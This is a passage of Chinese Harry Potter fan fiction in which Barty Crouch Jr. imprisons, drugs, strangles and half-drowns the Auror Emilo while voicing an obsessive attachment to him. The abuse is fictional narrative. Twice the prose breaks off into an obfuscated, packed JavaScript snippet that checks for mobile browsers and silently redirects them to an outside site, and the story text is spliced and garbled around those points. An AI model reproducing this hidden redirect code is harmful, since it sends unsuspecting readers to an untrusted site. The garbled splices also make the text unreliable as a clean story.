“复方汤剂……”埃米洛的瞳孔微微收缩,心沉了下去。这意味着更棘手的情况。他迅速抽出怀中的双面镜,冰冷镜框立刻沾染了左手的血迹,一片暗红。 “报警了么?”他皱着眉回过头,目光扫到了瘫在沙发上的罗杰。父亲脸色惨白如纸,身体像被抽了骨头一样软在椅子里,眼神空洞,嘴巴微张,一副彻底被吓傻、魂飞魄散的模样。 埃米洛的动作几不可察地顿了一下。他轻轻瞥了罗杰一眼。 “吓到你了? ”他带着极致的嘲讽说道。 十年前,当时在食死徒破门而入的时候,你是不是也是这副吓得屁滚尿流、瘫软在地的怂样?然后呢?你是不是也是这样,眼睁睁地……亲手把我妈妈推出去,只为了换你自己片刻的苟延残喘?你现在瘫在这里发抖…… 这些黑暗的、带着剧毒的质问如同冰冷的毒蛇,瞬间噬咬着他的心脏。他几乎能尝到口腔里弥漫开的铁锈味——那是恨意与痛苦凝结的味道。 这些感情时不时会被怜悯和残存的爱与责任压下,但在如此相似的情况下,像一场海啸一样爆发了。 埃米洛用尽全力强迫自己收回目光,将全部注意力集中在手中的双面镜上。镜面冰冷,映出他沾血的指尖和紧绷的下颌线。他必须立刻联系傲罗办公室! 就在他移开视线,目光完全聚焦于镜面,指尖的魔力即将触及镜片的那千分之一秒—— 一道同样刺目、毫无征兆的红光,从沙发方向激射而来!速度快得超越了视觉。 攻击者赫然是那个刚刚还瘫在沙发上、仿佛吓破了胆的罗杰。他此刻脸上没有了半分恐惧和懦弱,只有猎物落到手中的快意! 倒下的前一秒,埃米洛看见他胜利般的晃了晃埃米洛塞给他的钥匙扣,放在脸上轻轻摩挲了一下,古怪而无声的咧开了嘴。 36.老“友”与病“人” 埃米洛感觉有人在擦拭他的脸,湿冷的布帛故意在他额角绽开的伤口上反复打转,力道不轻反重,碾过破裂的皮肉,带来一阵阵尖锐的刺痛。他被这持续不断的恶意疼痛拽离了昏迷,意识像是从粘稠的沥青海里艰难上浮。 睁开眼的过程异常困难,眼皮沉重得如同被焊死。他敢肯定他的体内被注射了过量的无力药剂,还有别的些什么……让他体内原本流畅的魔力此刻阻塞不堪,每一次试图凝聚都带来精神上的钝痛。他用了全部的意志力,才将眼帘掀开一条缝隙。 入目是有些刺目的月光,从高处的窄窗倾泻而下,惨白惨白的,像泼洒在地上的水银,冰冷地浸没了大半个房间。月光映在覆盖着灰尘的、繁复却破败的雕花座椅上,映在斑驳的墙壁上,也毫无保留地映在面前那张脸上—— 一张本应早已腐烂在阿兹卡班最深处的脸。 “克劳奇。”他的声音嘶哑,吐出的字眼却冷硬如铁,带着毫不掩饰的憎恶。 “学长。”小巴蒂·克劳奇停下了手里的动作,声音里浸透着一股扭曲的、几乎要满溢出来的愉悦,像是在看一个只有他懂的绝妙笑话。 他歪着头,那双浅蓝色的眼睛里闪烁着一种不正常的光亮,混合着狂热、疯癫和一种孩子气的残忍。 埃米洛的视线迅速扫过环境,大脑在药物和伤痛的阻碍下拼命运转。 “克劳奇夫人把你换出来了。”他几乎是肯定地说。他想起三年前。当时阿米莉亚来找他,说克劳奇和克劳奇夫人想要探视在牢里奄奄一息的儿子。自从小巴蒂入狱,老巴蒂·克劳奇就像是被最后一根稻草彻底压弯了脊背,迅速衰老。伯莎也曾唏嘘地提过,说司长很后悔,他的夫人更是每天以泪洗面,生命仿佛已经提前枯萎……也许是从那对权势煊赫的夫妇脸上,看到了某种与记忆中罗杰和艾莲娜相似的东西,埃米洛最终对阿米莉亚点了头,亲手签了那张同意探视的协议。 “我就不该用正常人的思维揣度你们一家疯子的逻辑。”埃米洛额角的伤口因肌肉牵动而抽痛,“你把伯莎和布德罗里克怎么样了?”他的目光像是黑夜里的火烛,试图通过眼神将对方钉死。 “别这么看着我,学长,好像我是什么怪物。”小巴蒂的语气忽然带上了一点委屈。 他伸出手,冰凉的手指盖在埃米洛的眼睛上,近乎粗暴地把他因痛苦和愤怒而紧皱的眉头揉开,动作带着一种令人极度不适的亲昵和掌控感。 “我说过了,别对着我露出这种表情。”他的声音冷了下来,移开手掌,展示一件作品般端详着埃米洛被迫“平静”下来的脸。 “伯莎·乔金斯好得很……克劳奇本来是要给她一剂强力的‘一忘皆空’的。不过他没想到,他这个密不透风的家里,还有他不知道的存在……”小巴蒂的声音压低,像在分享一个亲密的秘密,身子凑近了埃米洛。 他从皱巴巴的衣服口袋里掏出一只不停挣扎、发出凄厉“吱吱”惨叫的小动物。那是一只灰褐色的老鼠,缺少了一根手指。对于他的抓握表现出极度的恐惧和抗拒。 “这么抗拒?”小巴蒂嗤笑一声,捏着老鼠的尾巴,把它倒提着在空中随意晃了几圈,动作轻佻又残忍,“你们不是亲密无间的室友么?我可是很怀念我在霍格沃茨的室友们的……来,打个招呼吧,彼得学长。”他故意拖长了那个名字。 老鼠吱吱乱叫,爪子在空中扑腾。在小巴蒂把它放在埃米洛面前时发出一声濒死般的尖锐惨叫,爆发出惊人的力量猛地挣脱了他的钳制,甚至在埃米洛的鼻尖上慌乱地踩了一下,随即飞快地窜下沙发,消失在门后的阴影里。 “看来他没脸见你。”小巴蒂微笑起来,那笑容纯粹却冰冷,眼底毫无暖意,“该说老同学的情谊终究是不一般么?他在你家的时候都不忍心朝你发射那道咒语呢。”他像是想起了什么,又拿起一小块浸透了白鲜香液的棉球,朝着埃米洛额头上仍在渗血的伤口毫不留情地按了下去。“就是这道。” “滋——”一阵带着刺痛感的烟雾升起。 “布德罗里克是他,罗杰是你。”埃米洛微微侧头,让那带着刺激性的棉球落在太阳穴上,声音里淬着冰冷的鄙夷,“一个胆小怕事的样子演都不用演,一个靠当别人的便宜爸爸获得无聊的乐趣。真是狼狈为奸,蛇鼠一窝。” “……狼狈为奸?蛇鼠一窝?”小巴蒂像是听到了世界上最可笑的笑话,猛地爆发出了一阵歇斯底里的大笑,笑声在空旷的房间里撞击回荡,显得格外刺耳和疯狂,“你知道吗?学长,我是你这边的!你这边的!我一直都是!” 他的笑声戛然而止,表情瞬间变得激动而偏执,猛地凑近,呼吸几乎喷在埃米洛脸上:“埃弗里,罗齐尔……当年这些最核心、藏得最深的食死徒,没有我提供的内部情报和活动路线,傲罗办公室能那么顺利地把他们一网打尽吗?嗯?” “魔法部后来针对孕妇和重点保护家庭的紧急转移计划,泄密的人不是我!是雷古勒斯·布莱克!是他告诉黑魔王的!为了让预言实现……我帮你们寻找波特和隆巴顿的踪迹……我做的都是好事!都是你想做的!我手上沾的血,没有一滴是无辜者的……没有一个人的手比我更干净!你信吗?学长?你信我吗?!” 他的情绪转换快得令人猝不及防,冰冷的手指如同铁钳般卡住埃米洛的脖颈,强迫他直面自己眼中燃烧的、近乎癫狂的渴求:“你应该像我当初信任你那样信任我……你知道我有多信任你吗?从在霍格沃茨走廊第一次遇见你开始……你递给我药剂,提醒我注意休息,还在扉页给我写下了O.W.Ls考试加分的关键咒语要点……后来,毕业前,你告诉我,要自己思考,选择自己真正想要的人生……” 他的声音忽然蒙上了一层虚幻的朦胧,但手上的力道却丝毫未减,“从来没有人对我说过这些……没有人像你一样……你知道当你后来把那个关于‘黑魔王标记的男孩’的预言碎片告诉我的时候,我有多开心吗?我那时心想,你终于看清了这一切的虚妄,终于愿意和我一起,彻底推翻克劳奇和他所代表的那套令人作呕的秩序了!即便我知道这可能是替你吸引火力,甚至是替你去死……我也像最忠诚的殉道者一样,心甘情愿地撞了上去……” “我是让你走出你父亲病态的评价体系,不是让你去加入另一个更疯狂的组织……”埃米洛因缺氧而呼吸困难,胸腔剧烈起伏,咳嗽着打断他扭曲的倾诉。 “黑魔王……”小巴蒂的眼神变得无比狂热,被这个名字点燃了,“他是最懂我们的人!”他猛地放开了埃米洛,却又瞬间凑到他的耳侧,声音变得湿冷而充满蛊惑,整个人几乎压在他身上,将他困在沙发的阴影里,“你知道么?……黑魔王跟我一样,继承了一个耻辱的,父亲的名字!跟我们一样,拥有一个让人绝望、恨不得将其彻底抹除的父亲,还有一个软弱无能、无法保护我们的母亲……他理解我们!理解我灵魂里每一寸的痛苦和愤怒!他给了我……前所未有的认可和爱!那是克劳奇永远不可能给我的东西!” “那又怎么样,”埃米洛艰难地喘息着,掀起薄薄的眼皮,目光冷冽如冰,“黑魔王已经死了。他的残党几乎都进了阿兹卡班,剩下的人忙着和他划清界限,或者干脆遗忘。只剩你还在这里发疯。” “他没有死!!”小巴蒂的声音陡然拔高,尖锐得几乎撕裂空气,里面充满了被亵渎神祇般的狂怒!他猛地一把将埃米洛从椅子上掀了下去! 埃米洛毫无反抗之力地重重摔在地板上,头侧狠狠撞击在旁边硬木茶几的尖角上!刚刚稍有凝固的伤口瞬间再次崩裂,温热的鲜血立刻涌了出来,沿着他的额角滑落,渗入地毯。 “他在追求永生的道路上比谁都走得更远!他已经触摸到了死亡的奥秘!他逃脱了死神!”小巴蒂站在他上方,胸口剧烈起伏,苍白的脸因暴怒而扭曲,眼睛里燃烧着近乎实质的疯狂火焰。埃米洛在剧痛和眩晕中心底冷笑——斯莱特林的挂坠盒早就被雷古勒斯·布莱克上交并摧毁了,黑魔王另一半灵魂已灭,他再也回不来了。 几秒中的寂静,风暴再次变得平静。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168764|175933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 小巴蒂的怒气如同潮水般骤然退去,他又变回了那个带着点神经质歉意的样子,小心翼翼地将埃米洛重新扶起,安置回沙发上,甚至体贴地拍了拍他衣服上的灰尘,仿佛刚才施暴的是另一个人。“对不起,我不是故意生气的,真的……但谁叫学长你总是说些我不爱听的话呢?” 他蹲下身,将侧脸轻轻靠在埃米洛无法动弹的腿上,然后拿起埃米洛那只无力垂落的手,用自己冰凉的脸颊眷恋地蹭了蹭那同样冰冷的皮肤。 他疯了。埃米洛冷眼看着小巴蒂的动作。 “你要知道……学长,是你对不起我,”他的声音又低了下去,充满了无尽的委屈和控诉,“但我从来没有对不起过你。一次都没有。甚至到了现在,我都在为我们的将来努力……你明白吗?” 他拿起魔杖,像是要证明什么,突然挽起了自己左臂的衣袖,露出手腕内侧纵横交错、深浅不一的陈旧疤痕,那些伤疤狰狞地盘踞在苍白的皮肤上,诉说着极致的痛苦和疯狂。“你知道老克劳奇把我弄出来后,对我做了什么吗?日复一日!他对我施加最强力的夺魂咒!把我变成一具不能动、不能说话、没有思想的傀儡!像个玩具一样摆在他该死的办公室里!学长,你知道之前在阿兹卡班的日子有多难受吗?那些摄魂怪……” 他的声音颤抖起来,里面充满了真切的、源自灵魂深处的恐惧,大颗大颗的眼泪毫无预兆地从他眼眶里滚落,滴在埃米洛的手背上,滚烫得灼人。 “我很害怕……我现在每天晚上都还会害怕得发抖……在阿兹卡班的时候,我害怕睁眼,因为一睁眼就是那些冰冷的、吸取快乐的怪物靠近……我只能靠着疼痛,靠着自残竭力维持最后一点清醒,我怕我睡着了,就再也想不起自己是谁了……”他指着那些伤疤,像个展示伤口以乞求怜惜的孩子。 “后来……我母亲用她的命把我换出来了……我心里没有一天不在受煎熬!我对不起她……而克劳奇!那个男人!他每天继续对我施加夺魂咒!把我关在这不见天日的坟墓里!最开始,这房子里有无数的画像,我的那些‘光荣’的祖先们,在老克劳奇出门后,就开始日夜不休地咒骂我!骂我是家族的耻辱!是孬种!是败类!那些声音充斥在我耳朵里,快把我逼疯了!克劳奇叫我好好听着,‘反省我的罪孽’……但我哪里有罪孽呢?杀死两个恶贯满盈的食死徒算罪孽的话,学长,你的手上是不是也沾满了洗不掉的鲜血?嗯?” 他的情绪再次激动起来,猛地抬起头,泪水还挂在睫毛上,眼神却变得偏执而锐利,死死盯着埃米洛。 “我可以不怨你……不怨你后来选择了帮助雷古勒斯·布莱克那个叛徒,不怨你把我最大的秘密当做福吉那蠢货政治上位的工具……这些我都可以原谅你!” 他伸出手,狠狠抓住埃米洛的头发,用力将他的头往下扯,迫使他对上自己扭曲的视线,“我原谅你了!你对不起我!你记住了吗?你是这个世界上最对不起我的人!你欠我的!你该用你的下半辈子来偿还我!” “如果连那些本来该死的、跟你非亲非故的小崽子(多萝西)都能让你愧疚,让你每个月都像个圣人一样去探望他们……那你对我!就该带着这份愧疚下地狱!”小巴蒂剧烈的喘息着。 “但我不希望你死……”下一秒,他又猛地松开了手,力量瞬间抽离,重新变回那个蜷缩着的、脆弱依赖的姿态,甚至轻轻把脸埋进埃米洛的袍子里,声音闷闷的,带着一种病态的依恋和渴求,“我希望你好好的……学长。我希望你……比如现在,能跟我说晚安,毕竟你现在需要休息,不是吗?” 他抬起头,眼睛里闪烁着一种孩童索要睡前故事般的、纯粹却令人脊背发寒的期待,等了很久,只等到了埃米洛冷酷的闭眼。小巴蒂所有的情绪都从脸上消失了,他没有继续情绪崩溃,没有再做发狂的动作,却比刚才更加令人恐惧。 他给埃米洛盖上了一条毯子,拉上了窗帘,把惨白的月光隔绝在外。 “晚安,学长。”他最后说道,推开门走了出去。 37.冷杉木魔杖 壁炉里的柴火又快用完了。 埃米洛盯着那摇摇摆摆的火焰,视线在药物作用下有些发飘。火焰里面加了某种香料,香雪兰混合着果木的味道。但埃米洛总觉得被子深处有一股驱散不了的,浮动着阴冷味道,像某种陈年的裹尸布,紧紧贴在他的皮肤上。窗棂外面是加固过的黑铁,弯曲成将天空切割成菱形的碎片,此刻那块碎片正被铅灰色的云絮填满,连风都穿不过铁栏的缝隙。 “咚咚咚。” 门被轻轻敲响,三下。埃米洛收回目光时,家养小精灵闪闪已经站在门口,亚麻色的破布裙扫过地面。她手里的托盘上放着一碗炖菜,旁边是半块的乳酪面包,还有一小杯南瓜汁——都是甜的,用于掩盖魔药的味道。 闪闪的网球眼飞快地瞥了他一眼,又立刻垂下,长耳朵抖得像两片受惊的枯叶。埃米洛注意到她手腕上有新的淤青,青紫色的,像劣质染料泼在苍白的皮肤上。 “放下吧。”他的声音有些沙哑,这是连日来药物作用的结果。 闪闪没应声,将托盘搁在墙角的矮凳上,转身就要幻影移形。 “等一下。”埃米洛撑着墙壁坐直些,肌肉松弛剂让他的胳膊像灌了铅,稍一用力就泛起重坠般的钝痛,“今天的炖菜里,放了多少生死水?” 闪闪猛地僵住,耳朵尖瞬间涨红。“闪闪……闪闪不知道!”她尖声叫起来,双手使劲捂住耳朵,“闪闪只是按小主人的吩咐做!坏巫师别想套话!闪闪要惩罚自己!” 她转身就要用头撞墙,埃米洛却突然咳起来,剧烈的咳嗽让他弯下腰,胸口像是被揉皱的纸团。闪闪的动作顿住了,长耳朵微微转向他,眼里闪过一丝犹豫。 “水……”埃米洛对她说,“南瓜汁太甜了,我想喝水。” 闪闪的嘴唇哆嗦了一下,最终还是从托盘下摸出个锡杯,凭空变出半杯温水放在旁边,然后“啪”地一声幻影移形消失了。 埃米洛盯着那杯温水,指尖悬在半空。他知道这水里大概率也掺了东西——也许是少量的生死水,让他能够睡得更沉。 他试过绝食,但这些药剂通过注射一样可以流到他的身体里,家养小精灵有自己的魔法体系,他们遵循主人的意愿去抓一个人的时候几乎是不可能失败的。他端起杯子,南瓜汁流过喉咙时带着细微的麻意。就是这一点点麻意,让他想起之前的时候,他和阿米莉亚一起去给伯莎过生日,他们三个买了三杯黄油啤酒,泡沫沾在阿米莉亚的鼻尖上,伯莎会笑着用手背给她擦掉,说:“埃米洛你看,这才是真正的魔法”。 比起他自己,他更担心伯莎,因为她是个女孩儿……可能会遭受到的折磨比男孩儿更让人担忧。 小巴蒂·克劳奇每日都带着一种扭曲的兴奋感取走埃米洛的一根头发,而彼得有另外一根——属于伯莎的。 “你不能喝这瓶。”小巴蒂拿着两瓶复方汤剂,脸上咧开一个怪异至极的笑容,对着瑟瑟发抖的彼得说,“你不能用他的脸,懂么?” 埃米洛冷眼观察着。小巴蒂和彼得之间的关系绝非友好,更像是一种病态的掌控与被掌控。彼得表现得极度恐惧小巴蒂,每次出现都缩着肩膀,眼神躲闪,声音尖细发颤,仿佛随时会因对方的一个眼神而崩溃。但埃米洛现在对他的害怕对此深表怀疑。那个在霍格沃茨时期总是跟在詹姆和西里斯身后,显得胆怯而需要保护的男孩,却有勇气在深夜跟着他们溜进禁林“冒险”;那个看起来软弱无能的人,却毅然投奔了当时权势滔天的伏地魔;如今,他又和小巴蒂·克劳奇这样的疯子搅合在一起…… 彼得的害怕,有几分是真,几分是演?他似乎永远在害怕——害怕詹姆和西里斯的强势,害怕伏地魔的淫威,现在又害怕小巴蒂的疯癫——但他总能精准地选择站在(或躲在)更强大、更恐怖的一方身后。这种“勇气”与“恐惧”的畸形结合,让埃米洛感到一阵生理性的厌恶。 伯莎可是还想帮你申请梅林胸章的。埃米洛看着他,彼得背过了身,相貌,骨骼,一点点的改变,变成了埃米洛记忆里的姑娘。 至少说明伯莎还活着。埃米洛试图从糟糕的事情中找到一个好消息。提供复方汤剂材料的那个人必须活着,药剂才能起作用。 “看啊……”小巴蒂拿着一面镜子对着两个人,苍白的手指触摸镜子里两个人的脸:“我们现在是不是像同胞兄弟一样?” 魔法部对重要官员有每日的身份校验程序,但小巴蒂——作为前法律执行司司长的儿子——太清楚那些程序可能存在的漏洞以及如何利用它们了。他听到小巴蒂对彼得(故意在埃米洛面前)说“魔法部的评审会,‘德蒙特司长’得去露个面”。埃米洛立刻想到了阿兹卡班的守备、那些关于食死徒刑期复核的法令……如果小巴蒂利用他的身份去撬动哪怕最小的一个缺口,让那些被囚禁的伏地魔残党找到可乘之机。后果不堪设想。 阿米莉亚和其他人能发现他们两个不对劲么?埃米洛觉得难。不是不信任阿米莉亚,而是他下意识想到了最坏的结果:伯莎现在在国际魔法合作司,经常出动辄两三个月的差,顶头上司也被控制住了,彼得只需要伪装成老克劳奇给伯莎安排些任务,几乎没人会怀疑……至于他自己,小巴蒂当然是善于伪装,甚至精于此道的。埃米洛现在都没有想明白罗杰是哪一天被替了包…… 埃米洛喝完水,拿起面包。他现在没力气嚼,只能让唾液软化粗糙的麦麸。牙齿与面包摩擦的声音在空荡的囚室里回响,像某种缓慢的倒计时。 罗杰……埃米洛几乎能想象到他现在的样子。克劳奇庄园古老、阴森,弥漫着一种浸透骨髓的湿冷,即使壁炉里燃着火,也无法驱散那仿佛积攒了几个世纪的寒意。 而罗杰的腿断了,天气稍一潮湿便会刺骨地疼痛,需要持续的热敷和魔药调理才能勉强维持行动。被囚禁在这种地方……埃米洛深吸了一口气,那冰冷的空气似乎能冻结他的肺腑。他能肯定,如果罗杰还活着,那他一定在忍受着非人的痛苦。 他把最后一口面包塞进嘴里,突然觉得胃里一阵翻涌。他忍不住的干呕,却什么也吐不出来,只有酸水灼烧着喉咙。墙壁上,他的影子被窗棂切成碎块,像被肢解的囚徒。 “咔哒。” 门锁转动的声音刺破了午后的死寂。埃米洛闭上眼睛,调整呼吸,让自己看起来像在昏睡。肌肉松弛剂让他的眼皮沉得像粘了胶水,正好用来伪装。 脚步声由远及近,停在床边。他能闻到对方身上的味道——香雪兰、薄荷,还有一丝若有若无的、和他相似的冷杉木气息,那是复方汤剂的残留。 “别装了,学长。”小巴蒂的声音带着笑意,“你的呼吸频率变了。” 埃米洛缓缓睁开眼。小巴蒂穿着件黑色的天鹅绒外套,坐在了他的床边。 “我给你带了个老朋友。”小巴蒂的手伸进口袋,“但我想先跟你说说话。” 埃米洛没动。他盯着小巴蒂的脸,这张脸比记忆里瘦削了些,眼下有浓重的青黑,嘴角的笑纹里仿佛藏着毒蛇。他想起对方五年级的时候,小巴蒂在图书馆埋在书堆里,周围没有一个人比他更勤奋了,也许那时候他就该明白他是个偏执的人…… “你知道吗?昨天我用你的脸去见了福吉部长。他说你最近气色不好,让你多休息。” “他还提到了阿兹卡班。”小巴蒂的声音压低了些,像在说什么秘密,“说最近有几个食死徒的刑期快到了,问‘你’要不要负责复核。你猜我怎么说?” 埃米洛仍然不动于色。跟小巴蒂对话,你的痛苦和纠结都是他的良药。 “我当然是拒绝了。”小巴蒂笑得更开心了,露出尖尖的犬齿,“我怎么会做让学长你不开心的事情呢?那些罪大恶极的食死徒就该烂在阿兹卡班,不是么?” “……你到底想要干什么。”埃米洛的声音疲惫却带着寒意。 “我想干什么?”小巴蒂慢慢凑近,鼻尖几乎碰到埃米洛的脸颊,“我早就跟你说过了,我就是想离你近一点,你为什么现在都不相信我呢?” 真是胡扯。埃米洛冷漠的想。他当然能清晰地感受到小巴蒂对他那种畸形的情感寄托——一种混合着偏执、病态依恋、遭受“背叛”后的怨恨以及强烈占有欲的复杂情感。这种情感让埃米洛感到荒谬,因为他不知道自己究竟做了什么,会让对方产生如此大的执念,被其牢牢缠住,动弹不得。他觉得小巴蒂只是在跟他演,当然,更大的可能是他本身精神就有问题。 “对了,还有一件事。昨天我去你家了,你的书架上有本《预言家日报》,上面有哈利·波特的照片,唔,看来你和我们小救世主关系不错——” 埃米洛的血液仿佛瞬间冻结了。 “你说,我要不要也给那个小救世主送份‘礼物’?”小巴蒂笑着回头,“比如一把飞天扫帚,或者是巫师棋……他今年多大了,五岁?那应该是读诗翁彼豆故事集的年龄啊……” “你不可能找到他的,巴蒂·克劳奇。”埃米洛目光锐利的看向他,“更不可能对我摄魂取念得到他的消息……” 小巴蒂的笑容僵在脸上,随即变成更扭曲的兴奋。“你终于肯叫我的名字了,学长。”他舔了舔嘴唇,“这可是个好开始。” “说好了,送你一样东西。” 埃米洛转头看过去,他的冷杉木魔杖正被小巴蒂握在手里,他拆开了了它,抽出里面的独角兽毛芯,换了根黑漆漆的东西——夜骐的尾羽,或者是龙的神经……埃米洛不知道那到底是什么。 “现在它认识我了。”小巴蒂举着改造后的魔杖在他眼前晃,“你看,它在发光呢。” 埃米洛确实看到了,杖身泛着幽蓝的微光,但那光芒让他想起停尸间的冰灯。他的魔杖在哭,不是用声音,是用魔法的震颤,像濒死的蝴蝶在扑扇翅膀。 他甚至能感受到一种微弱却持久的悲鸣,并非通过耳朵,而是直接回荡在他的意识深处。那是他的魔杖在哭泣,为被强行撕裂的羁绊,为被玷污的本质。这根比他想象中与他联系更深的伙伴,它的哀伤仿佛也传染了他,让他体内某一部分随之陷入低沉和滞涩。 “杀死一个巫师,先杀死他的魔杖。” 这是傲罗训练的第一句话,但他从未像此刻这般,有着血淋淋的、切肤的体会。 “所以说,我可算不上囚禁你,我说过了,你是我的伙伴,我只是请你过来做客。”小巴蒂把魔杖放到他枕边:“物归原主,如果你还想要什么东西,我都会给你带来的。” …… 埃米洛试着去策反家养小精灵,用一些小陷阱将她解雇,以及跟她打感情牌。 “闪闪,”埃米洛努力让自己的语气听起来平和,“我知道你忠于克劳奇家族。老巴蒂·克劳奇先生……他以前常向我提起你,说你是他最得力的助手,是最忠诚的家养小精灵。” 闪闪猛地顿住,细长的耳朵抖动了一下,巨大的网球般的眼睛里闪过一丝迷茫和……痛苦。 “克劳奇先生……是好主人……”她尖声说,但声音里带着不确定。 “他一定不希望看到他的家变成现在这样,不希望看到他的儿子……”埃米洛谨慎地选择着词汇,“……做出这些事。你知道的吧,克劳奇家族世世代代都在法律执行司维持正义,你真的愿意看着小主人做出这样的事情么?也许我可以告诉你……怎样维护克劳奇家族的声誉。” “维持声誉……闪闪,闪闪应该这么做,克劳奇先生会高兴……闪闪不应该继续纵容巴蒂少爷……” “是的,你看见克劳奇夫人的遗像了么?她每天以泪洗面……你忍心……” “不!”听到“克劳奇夫人”这五个字,闪闪突然尖叫起来,用力摇着她的大脑袋,仿佛要甩掉什么可怕的想法。 “坏巫师!骗闪闪!闪闪不能背叛小主人!闪闪答应了女主人要照顾小主人!坏巫师想让闪闪被解雇!想让闪闪撕掉自己的耳朵!” 她情绪激动,猛地用头撞向旁边的硬木桌腿,发出“咚”的一声闷响。“坏巫师!闪闪不会听你的!闪闪要惩罚自己!”她又撞了一下,然后飞速的幻影移形了。 这只小精灵比起其他家族的一些显然更加“聪明”,也更顽固地恪守着那套扭曲的奴役逻辑。她总能躲开埃米洛设置的陷阱,并识破了他话语中试图离间的意图。同时,她根本拒绝去深入思考任何可能违背当前主人命令的事情。那天之后,无论埃米洛再对她说任何话,哪怕是简单的“谢谢”,闪闪都像聋了一样,放下食物便立刻消失,绝不与他有任何眼神或语言的交流。 路又堵死一条。埃米洛在心里,将这个方法画上一个大大的叉。 被换了杖芯之后,埃米洛的魔杖开始拒绝他,它会在埃米洛触碰它的时候爆发出抗拒的火花,连带着从接触的地方传来钻心的剧痛。 他握住那根拒绝他的魔杖,同时试图调动体内那些被药物阻塞的魔力。过程痛苦不堪,魔力如同在锈蚀的管道中艰难前行,每一次冲撞都带来精神上的钝痛。 混乱的魔力流在某个关口彻底炸开,无形的冲击波将他猛地拍向墙壁,硬生生在斑驳的墙面上砸出一个浅坑,尘土簌簌落下。他瘫倒在地,咳出带着铁锈味的血沫,眼前阵阵发黑。 别放弃……他对自己说。他听见闪闪的尖叫和咒骂声,家养小精灵把他移动到床上,前去找主人告状。 “巴蒂少爷……”闪闪擦着眼泪:“您不应该给他魔杖……” “说什么呢?那本来就是学长的东西。”小巴蒂把一瓶生骨灵灌给他,挥退了家养小精灵。 “也许学长你应该试试别的咒语。”他甚至“体贴”的解释道:“比如一些不可饶恕咒……说不定会发现魔杖好用多了呢?想象一下,学长,两道绿光过去,我和彼得学长就都死了。你那时候就可以光明正大的走出这里。谁会审判你呢?我们两个本来就不应该活着。” “别瞎扯了。”埃米洛冷笑道。能试的他早就试过了。白魔法,黑魔法……他对着桌子上的水杯试了一下四分五裂,水杯纹丝不动(毕竟他的魔力没有多少)。 他当然不可能用这根魔杖杀死小巴蒂,对方敢把这种武器这么交给他,就说明对方有充足的自信他驾驭不了这根魔杖,他对着小巴蒂发射阿瓦达索命,对方可能一道鼻血都不会流。 疏通那些堵塞的魔力需要时间……时间……他现在最缺时间,必须想个办法,把那些药停下来才行。 “哎呀,我以为学长你也是穆迪和梅多斯那一支呢?我记得你那时候是挺反对克劳奇的傲罗法令的。” “不可饶恕咒和普通的黑魔法不一样,它……” “它能侵蚀人的灵魂……”小巴蒂接话道:“多少年前的课了?啊哈哈,我真是有点羡慕梅多斯了,她算是你最喜欢的老师么?” “如果不是克劳奇,我也是很想当老师的,我觉得我会很适合的……真是想想就令人憧憬。桃李满天下,教书育人,看着一个个孩子走向光明的未来……你知道黑魔王也曾经有这个想法么?这又是我们的一个共同点……” 埃米洛觉得现在他已经能无视小巴蒂间歇的发疯了。往常,他和小巴蒂就着一句简单的晚安相互拉扯着,双方似乎都把这个当做某种胜利的标识。而这一天,小巴蒂没有立刻离开,他站在床边,用一种近乎歌唱的轻快语调说着要给他演示一下他的教学,同时手腕一翻,魔杖精准地指向埃米洛。 “魂魄出窍。” 一股冰冷、陌生的意志如同潮水般试图涌入埃米洛的大脑,带着甜腻的诱惑,催促他说话。埃米洛的牙齿瞬间咬紧,全身的肌肉都绷紧了抵抗,意识如同风暴中的礁石,死死守住最后的核心。 他的身体无法控制地剧烈颤抖起来,对抗那外来的入侵需要耗费他巨大的精力,以至于牙龈都被咬破,一缕殷红的血丝从紧抿的唇角淌下。 “他要咬舌!会死!”在一旁缩着的彼得·佩迪鲁突然发出尖利的惊叫。 夺魂咒的力量瞬间如潮水般退去。小巴蒂一步跨上前,动作快得带风,冰冷的手指如同铁钳,毫不留情地卡住埃米洛的双颊,用力一捏——下颌关节发出令人牙酸的“咔吧”声,被强行卸开。 埃米洛痛得闷哼一声,无法合拢的嘴使得唾液和鲜血不受控制地流出。小巴蒂面无表情地看了看,又是利落地一推,“咔吧”一声,将下颌复了位。 “一定要这样不配合吗?”小巴蒂甩了甩手上沾到的血迹,眼神阴鸷下来,那里面没有了之前那种伪装的委屈或狂热,只剩下一种冷冰冰的、不耐烦的残忍,“你就这么想死的话……何必用这种低效的方式?我来带你体验一下更真切的,如何?” 他没有给埃米洛任何反应的时间,粗暴地将他从床上拽起,拖行着穿过冰冷的石廊,进入隔壁一间带着老旧黄铜浴缸的盥洗室。埃米洛无力挣扎,只能任由对方将自己的头猛地按进早已放满冷水的浴缸里。 刺骨的冷水瞬间淹没口鼻,涌入耳道。最初的冰冷过后,是窒息感的迅猛袭来。肺部开始灼烧,本能地渴望空气,喉咙和胸腔剧烈痉挛。眼前的一切变得模糊,耳边只有水流沉闷的轰鸣和自己心脏疯狂擂动的声音。意识像被拉扯的丝线,开始逐渐模糊、飘远……黑暗的边缘逐渐蔓延…… 就在他即将彻底失去意识的前一秒,一股巨大的力量揪住他的头发,将他猛地提出了水面。 “咳!咳咳咳……”埃米洛趴在浴缸边缘,剧烈地咳嗽、干呕,肺叶如同撕裂般疼痛,冰冷的水呛得他涕泪横流,狼狈不堪。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186198|175933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 